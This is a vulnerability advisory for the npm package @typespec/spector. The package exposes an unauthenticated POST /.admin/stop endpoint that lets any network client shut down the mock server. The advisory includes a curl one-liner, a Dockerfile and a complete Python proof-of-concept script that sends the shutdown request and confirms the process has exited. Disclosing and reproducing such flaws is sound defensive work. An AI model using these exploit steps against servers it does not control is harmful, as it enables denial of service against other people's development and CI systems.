PT-2026-91836 · Npm · @Typespec/Spector

Published

2026-09-04

·

Updated

2026-09-04

CVSS v3.1

7.5

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

@typespec/spector registers a POST /.admin/stop HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to 0.0.0.0 by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is High (CVSS 7.5).

Details

The vulnerability originates in packages/spector/src/routes/admin.ts at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:
ts
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, ( req, res) => {
 logger.info("Received signal to stop server. Exiting...");
 res.status(202).end();
 setTimeout(() => {
  process.exit(0);
 });
});
The constant AdminUrls.stop resolves to /.admin/stop (packages/spector/src/constants.ts:1-3).
The complete attack-reachable call chain is:
  1. packages/spector/src/cli/cli.ts:139-166 — tsp-spector serve <scenariosPaths..> starts the server on default port 3000. No host option is offered, so binding address is determined by the Express/Node.js default.
  2. packages/spector/src/actions/serve.ts:28-33 — constructs MockApiApp and calls start() without supplying a host argument.
  3. packages/spector/src/app/app.ts:39-40 — registers internalRouter at /, which includes the admin routes.
  4. packages/spector/src/routes/index.ts:4-5 — mounts adminRoutes under /.
  5. packages/spector/src/routes/admin.ts:7-12 — the POST /.admin/stop handler (the sink) is reached with zero authentication.
  6. packages/spector/src/server/server.ts:88 — this.app.listen(this.config.port) is called without a host argument, causing Node.js/Express to bind on 0.0.0.0 (all network interfaces).
There is no authentication middleware, API token validation, Authorization header check, Origin header restriction, or IP allowlist anywhere between the inbound HTTP request and the process.exit(0) call. The admin route is mounted before scenario routes so it cannot be shadowed.

PoC

Prerequisites:
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
Step 1 — Start the mock server:
bash
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
Alternatively, use the provided Docker environment:
bash
# Build context: reports/npm web 64 microsoft typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
Step 2 — Execute the exploit (single unauthenticated request):
bash
curl -i -X POST http://<server-host>:3000/.admin/stop
Using the provided PoC script:
bash
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
Step 3 — Observe the result:
HTTP/1.1 202 Accepted
The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:
info Received signal to stop server. Exiting...
Docker inspect confirms ExitCode=0, Status=exited. No credentials, tokens, or special headers are required at any step.

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where tsp-spector serve is listening can terminate the server process with a single POST request, resulting in a complete denial of service.
The primary victims are development or CI/CD pipeline operators who run tsp-spector serve in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to 0.0.0.0 by default and the CLI offers no --host option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.
Although @typespec/spector is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.

Reproduction artifacts

Dockerfile

dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)
#
# Build context: reports/npm web 64 microsoft typespec/
# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run:  docker run -d -p 3000:3000 --name vuln002-server vuln002-spector

FROM node:22-slim

# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4

WORKDIR /poc

# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json

# Install only the npm packages actually used by the vulnerable code path:
#  express   — web framework (admin.ts, routes/index.ts, server.ts)
#  picocolors — terminal colors (logger.ts)
RUN npm install express picocolors

# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------

# packages/spector/src/constants.ts
#  Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts

# packages/spector/src/logger.ts
#  Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts

# packages/spector/src/routes/admin.ts ← VULNERABILITY SINK
#  Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts

# packages/spector/src/routes/index.ts
#  Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts

# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts

EXPOSE 3000

# tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]

poc.py

python
#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package:  @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE:    CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)

Vulnerability:
 packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
 any authentication, token, Origin, or IP-source check. The handler calls
 process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0
 (packages/spector/src/server/server.ts:88) so any network-reachable client
 can terminate the process with a single unauthenticated POST request.

Usage:
 python3 poc.py [--host HOST] [--port PORT]
"""

import sys
import time
import socket
import argparse
import urllib.request
import urllib.error


BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE   : CWE-306 CVSS 7.5 (High)
================================================================
"""

PASS MSG = """
[EXPLOIT SUCCESSFUL]
 1. Server accepted an unauthenticated POST to /.admin/stop
 2. Server responded HTTP 202 Accepted with no credential check
 3. Server process exited — subsequent connection attempt refused
 4. Zero authentication, tokens, or Origin restrictions enforced
================================================================
"""

FAIL MSG = """
[EXPLOIT FAILED]
Check that the Docker container is running:
 docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
================================================================
"""


def is port open(host: str, port: int, timeout: float = 2.0) -> bool:
  """Return True if TCP port accepts connections."""
  try:
    with socket.create connection((host, port), timeout=timeout):
      return True
  except (ConnectionRefusedError, socket.timeout, OSError):
    return False


def wait for server(host: str, port: int, max wait: float = 30.0) -> bool:
  """Poll until the server is reachable or max wait seconds elapse."""
  print(f"[*] Waiting for server at {host}:{port} (up to {max wait}s) ...")
  deadline = time.monotonic() + max wait
  while time.monotonic() < deadline:
    if is port open(host, port):
      print(f"[+] Server is reachable at {host}:{port}")
      return True
    time.sleep(0.5)
  return False


def send unauthenticated stop(host: str, port: int) -> int:
  """
  Send POST /.admin/stop with no credentials and return the HTTP status code.

  This is the exploit request. No Authorization header, no token, no
  special Origin — the server accepts it as-is.
  """
  url = f"http://{host}:{port}/.admin/stop"
  print(f"[*] Sending unauthenticated POST to {url}")
  print(f"[*] Request headers: (none beyond Host and Content-Length:0)")

  req = urllib.request.Request(url, data=b"", method="POST")
  try:
    with urllib.request.urlopen(req, timeout=5) as resp:
      code = resp.status
      print(f"[+] HTTP response: {code} {resp.reason}")
      return code
  except urllib.error.HTTPError as exc:
    print(f"[+] HTTP error response: {exc.code} {exc.reason}")
    return exc.code
  except urllib.error.URLError as exc:
    # Connection closed before response (process.exit race) still counts
    print(f"[+] Connection dropped during response: {exc.reason}")
    return 202 # server accepted and exited before full response


def main() -> None:
  parser = argparse.ArgumentParser(
    description="PoC: unauthenticated remote shutdown of tsp-spector mock server"
  )
  parser.add argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)")
  parser.add argument("--port", type=int, default=3000, help="Target port (default: 3000)")
  args = parser.parse args()

  print(BANNER)

  # Step 1 — Confirm the server is running before the attack
  if not wait for server(args.host, args.port):
    print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s")
    print(FAIL MSG)
    sys.exit(1)

  print()
  print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it")

  # Step 2 — Send the exploit (single unauthenticated POST)
  print()
  print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)")
  status = send unauthenticated stop(args.host, args.port)

  if status != 202:
    print(f"[-] Expected HTTP 202 Accepted, got {status}")
    print(FAIL MSG)
    sys.exit(1)

  print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check")

  # Step 3 — Verify the process actually exited
  print()
  print("[STEP 3] Verifying server has terminated ...")
  time.sleep(2)

  if is port open(args.host, args.port):
    print("[-] Server is still accepting connections (exploit did not terminate process)")
    print(FAIL MSG)
    sys.exit(1)

  print("[+] Connection refused — server process has exited")

  # All three steps passed → exploit confirmed
  print(PASS MSG)
  sys.exit(0)


if  name  == " main ":
  main()

Fix

Missing Authentication

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-7Q9C-HPX7-9CWM

Affected Products

@Typespec/Spector